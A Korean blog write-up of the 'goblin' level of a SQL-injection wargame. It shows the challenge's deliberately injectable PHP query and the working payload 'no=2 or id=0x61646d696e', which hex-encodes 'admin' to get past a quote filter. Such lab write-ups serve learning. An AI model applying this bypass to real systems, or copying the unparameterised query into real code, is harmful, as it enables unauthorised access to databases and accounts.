wyv3rn 2023. 5. 23. 08:55
728x90
반응형

1. intro

세번째 문제.

2. code 및 분석

2.1.  code

query : select id from prob_goblin where id='guest' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

2.2. 분석

이번에는 id가 guest로 고정되어있다.

또한 ', ", `가 필터링 되어있다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

sqlinjection

3.2. 공격 준비

단순히 생각하면 id에 admin을 다시 넣어주면 되는데, 필터링으로 인해 값을 넣을 수가 없다.

더불어 현 쿼리 상 id = guest이고, no를 다양하게 넣어봤을때

1일 때 guest로 인식되었고 2일때는 불만족함을 알 수 있었다.

이에 id를 'admin'과 같이 인식하게 하고, table no를 1이 아닌 값을 넣으면 될 것이다.

 

4. exploit

query : select id from prob_goblin where id='guest' and no=2 or id=0x61646d696e

Hello admin
GOBLIN Clear!
http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>
728x90
반응형